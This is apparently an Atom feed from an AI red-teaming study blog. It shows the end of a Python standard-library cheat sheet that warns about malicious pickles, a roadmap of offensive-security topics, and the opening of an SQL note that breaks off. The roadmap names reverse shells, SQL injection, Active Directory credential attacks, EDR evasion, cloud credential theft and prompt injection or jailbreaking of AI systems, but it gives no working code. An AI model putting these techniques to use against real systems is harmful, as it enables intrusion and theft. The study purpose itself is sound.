&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;@&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;contextmanager&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; timer&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;():&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    start&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; time&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;time&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;    yield&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                                 # code inside the `with` runs here&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;took &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;time&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;time&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; start&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;:.2f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;s&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;with&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; timer&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;():&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;    do_work&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;with&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; suppress&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;FileNotFoundError&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;):&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;         # ignore one specific exception&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    os&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;remove&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;maybe.txt&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;pickle-safety-pickletools&quot;&gt;Pickle safety: pickletools&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; pickle&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; pickletools&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# [!warn] pickle.load() executes arbitrary code on load — NEVER unpickle untrusted data.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# pickletools INSPECTS a pickle WITHOUT executing it (disassembles the opcodes):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;with&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; open&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;model.pkl&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;rb&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span&gt; f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    pickletools&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;dis&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;     # look for REDUCE &#x2F; GLOBAL opcodes = code execution&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Directly relevant to &lt;strong&gt;supply-chain &#x2F; malicious pickle&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;attackers hide code in &lt;code&gt;.pkl&lt;&#x2F;code&gt; model files;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;pickletools.dis&lt;&#x2F;code&gt; lets you audit one before trusting it.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;time&quot;&gt;time&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; time&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;time&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;time&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                               # epoch seconds (float)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;time&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;sleep&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;1.5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                           # pause (rate-limiting, retries)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;start&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; time&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;time&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span&gt;; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;work&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span&gt;; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;time&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;time&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; start&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;   # measure duration&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;time&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;strftime&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;%Y-%m-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;%d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; %H:%M:%S&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;        # formatted timestamp&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;cli-tools-argparse&quot;&gt;CLI tools: argparse&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; argparse&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; argparse&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;ArgumentParser&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;description&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;my tool&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;add_argument&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;target&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                       # positional arg&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;add_argument&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;-p&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;--port&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; default&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;80&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;add_argument&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;-v&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;--verbose&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; action&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;store_true&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;   # flag&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;args&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;parse_args&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;args&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;target&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; args&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;port&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; args&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;verbose&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;materials&quot;&gt;Materials&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Python standard library docs - &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;docs.python.org&#x2F;3&#x2F;library&#x2F;&quot;&gt;https:&#x2F;&#x2F;docs.python.org&#x2F;3&#x2F;library&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry>
        <title>Road to OSAI (roadmap)</title>
        <published>2026-07-06T00:00:00+00:00</published>
        <updated>2026-07-06T00:00:00+00:00</updated>
        <author>
            <name>Frekler</name>
        </author>
        <link rel="alternate" type="text/html" href="https://frekler.com/ai-red-teaming/notes/road-to-osai/"/>
        <id>https://frekler.com/ai-red-teaming/notes/road-to-osai/</id>
        
        <content type="html" xml:base="https://frekler.com/ai-red-teaming/notes/road-to-osai/">&lt;h2 id=&quot;part-1-foundations&quot;&gt;Part 1 - Foundations&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-1-linux-bash&quot;&gt;1.1 Linux &#x2F; bash&lt;&#x2F;h3&gt;
&lt;p&gt;filesystem hierarchy, grep, pipes, wc, sort, cut; permissions; processes; environment; bash scripts; ssh&#x2F;scp; find&#x2F;locate; awk&#x2F;sed.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-2-network-ports-http-curl-jq&quot;&gt;1.2 Network &#x2F; Ports &#x2F; HTTP &#x2F; curl &#x2F; jq&lt;&#x2F;h3&gt;
&lt;p&gt;nmap, service&#x2F;version enum, DNS, subdomain enum, ffuf&#x2F;gobuster; http&#x2F;https; websockets; methods; status codes; headers (Bearer&#x2F;JWT, ETag); API styles (REST, JSON-RPC for MCP, etc.); curl; jq; bash loop over an API.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-3-web-basics&quot;&gt;1.3 Web (basics)&lt;&#x2F;h3&gt;
&lt;p&gt;trust boundary, path traversal, injections, XSS&#x2F;CSRF&#x2F;SSRF, IDOR, broken access control, Burp Suite.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-4-sql&quot;&gt;1.4 SQL&lt;&#x2F;h3&gt;
&lt;p&gt;SELECT&#x2F;WHERE&#x2F;JOIN&#x2F;UNION&#x2F;ORDER BY, subqueries, information_schema, MySQL&#x2F;Postgres&#x2F;MSSQL; string concatenation; comments; UNION SELECT NULL,... + column count (ORDER BY n); stacked queries (;).&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-5-python&quot;&gt;1.5 Python&lt;&#x2F;h3&gt;
&lt;p&gt;dict&#x2F;list&#x2F;set, comprehensions, requests (Session, json=), socket, threading, io, contextlib, shutil, pickletools, zipfile, time, argparse, json, re, sys, platform, os, subprocess, tempfile, try&#x2F;except, venv&#x2F;pip, with open, base64&#x2F;urllib.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-6-llm-rag-agents&quot;&gt;1.6 LLM &#x2F; RAG &#x2F; agents&lt;&#x2F;h3&gt;
&lt;p&gt;tokens&#x2F;BPE, embeddings, attention, context window, temperature&#x2F;top-p, logits; RAG (vector DBs: Qdrant&#x2F;Weaviate&#x2F;Chroma&#x2F;FAISS, cosine similarity&#x2F;kNN, chunking, BM25, retrieval); agents (tool calling, MCP&#x2F;JSON-RPC, A2A); prompt injection (direct&#x2F;indirect), jailbreak, data exfiltration, system prompt leaking, OWASP LLM Top 10.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-7-git&quot;&gt;1.7 Git&lt;&#x2F;h3&gt;
&lt;p&gt;basics, branches, .gitignore; GitHub&#x2F;GitLab; git log&#x2F;git diff&#x2F;git reflog for finding secrets in history; dumping an exposed .git&#x2F; from a web server (git-dumper, GitTools); secret scanners (trufflehog, gitleaks).&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-8-docker&quot;&gt;1.8 Docker&lt;&#x2F;h3&gt;
&lt;p&gt;run&#x2F;exec&#x2F;ps&#x2F;images, build, pull&#x2F;push, inspect, history; Dockerfile, volumes&#x2F;ports, docker-compose; secrets in image layers (docker history, dive); capabilities (--cap-add, CAP_SYS_ADMIN), namespaces&#x2F;cgroups; escapes (--privileged, docker.sock).&lt;&#x2F;p&gt;
&lt;h2 id=&quot;part-2-in-depth&quot;&gt;Part 2 - In depth&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;2-1-ml-engineering&quot;&gt;2.1 ML engineering&lt;&#x2F;h3&gt;
&lt;p&gt;ML&#x2F;DL basics (classifier, train vs inference, features, overfitting, decision boundary + gradients), NumPy&#x2F;pandas, PyTorch, Hugging Face, fine-tuning LoRA&#x2F;PEFT, SymPy, tokenizers, pickle (reduce), safetensors.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-2-web-in-depth-reverse-shells&quot;&gt;2.2 Web in depth + reverse shells&lt;&#x2F;h3&gt;
&lt;p&gt;SSTI (Jinja2, RCE), path traversal&#x2F;LFI, command injection, SQLi (xp_cmdshell); reverse shells (bash &#x2F;dev&#x2F;tcp, python, nc -lvnp, msfvenom); deserialization, XXE, file upload (RCE); TTY upgrade; WAF&#x2F;filter bypass.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-3-privesc-accounts&quot;&gt;2.3 Privesc + accounts&lt;&#x2F;h3&gt;
&lt;p&gt;SUID&#x2F;SGID, sudo -l, cron, PATH hijacking, capabilities; hashcat&#x2F;john, NTLMv2, Responder, LLMNR&#x2F;NBT-NS, pass-the-hash, authorized_keys; kernel exploits (DirtyCow&#x2F;DirtyPipe); Windows privesc (SeImpersonate, PrintSpoofer&#x2F;JuicyPotato, unquoted service path); mimikatz.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-4-active-directory-ad&quot;&gt;2.4 Active Directory (AD)&lt;&#x2F;h3&gt;
&lt;p&gt;LDAP&#x2F;Kerberos&#x2F;NTLM&#x2F;SPN, BloodHound, Kerberoasting, AS-REP roasting, DCSync, ACL abuse (GenericWrite&#x2F;WriteDACL), impacket, NetExec, Rubeus (Domain Admin); Golden&#x2F;Silver ticket, pass-the-ticket; delegation (unconstrained&#x2F;constrained&#x2F;RBCD); ADCS abuse (Certipy, ESC1).&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-5-pivoting-tunnels-c2&quot;&gt;2.5 Pivoting &#x2F; tunnels &#x2F; C2&lt;&#x2F;h3&gt;
&lt;p&gt;proxychains, SSH -L&#x2F;-R&#x2F;-D, chisel, ligolo-ng, socat&#x2F;sshuttle, xfreerdp, Sliver and alternatives (Havoc&#x2F;Mythic), AV&#x2F;EDR evasion (AMSI bypass); evil-winrm, psexec&#x2F;wmiexec&#x2F;smbexec (impacket); LOLBAS.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-6-aws-cloud-infrastructure-for-ai-cli&quot;&gt;2.6 AWS (cloud infrastructure for AI, CLI)&lt;&#x2F;h3&gt;
&lt;p&gt;IAM (trust policy, sts:AssumeRole chaining), IMDS 169.254.169.254 (SSRF, creds), IMDSv1 vs IMDSv2, S3 &#x2F; Secrets Manager &#x2F; SSM, Pacu; privilege escalation (iam:PassRole, policy versions), Lambda&#x2F;ECR, CloudTrail (evasion), ScoutSuite&#x2F;enumerate-iam.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-7-kubernetes-k8s-infrastructure-for-ai-cli&quot;&gt;2.7 Kubernetes (K8s infrastructure for AI, CLI)&lt;&#x2F;h3&gt;
&lt;p&gt;pod&#x2F;namespace&#x2F;RBAC, ServiceAccount tokens, kubectl auth can-i, container escape (privileged, nsenter, LD_PRELOAD, CVE), gcc, hostPath&#x2F;hostPID&#x2F;privileged securityContext, kubelet API (:10250)&#x2F;etcd, peirates&#x2F;kube-hunter.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-8-attacks-on-models-embeddings-supply-chain&quot;&gt;2.8 Attacks on models &#x2F; embeddings &#x2F; supply chain&lt;&#x2F;h3&gt;
&lt;p&gt;data&#x2F;model poisoning, backdoor, membership inference, model inversion, model extraction&#x2F;stealing, evasion (adversarial examples), embedding inversion; model formats (GGUF&#x2F;ONNX&#x2F;.pt), malicious pickle (fickling tool).&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-9-threat-modeling&quot;&gt;2.9 Threat modeling&lt;&#x2F;h3&gt;
&lt;p&gt;assumptions register, crown-jewel ranking, trust boundaries, STRIDE, attack trees, DFD, MITRE ATLAS &amp;amp; ATT&amp;amp;CK, OWASP LLM&#x2F;ML Top 10, RoE; risk = likelihood × impact; reporting (executive summary, remediation, CVSS).&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry>
        <title>SQL</title>
        <published>2026-07-06T00:00:00+00:00</published>
        <updated>2026-07-06T00:00:00+00:00</updated>
        <author>
            <name>Frekler</name>
        </author>
        <link rel="alternate" type="text/html" href="https://frekler.com/ai-red-teaming/notes/sql/"/>
        <id>https://frekler.com/ai-red-teaming/notes/sql/</id>
        
        <content type="html" xml:base="https://frekler.com/ai-red-teaming/notes/sql/">&lt;pre&gt;

+ Disclaimer -----------------------+
| The content provided is           |
| for educational and informational |
| purposes only                     |
| I do not support                  |
| or encourage any illegal          |
+-----------------------------------+

&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;core-query-shape&quot;&gt;Core query shape&lt;&#x2F;h2&gt;
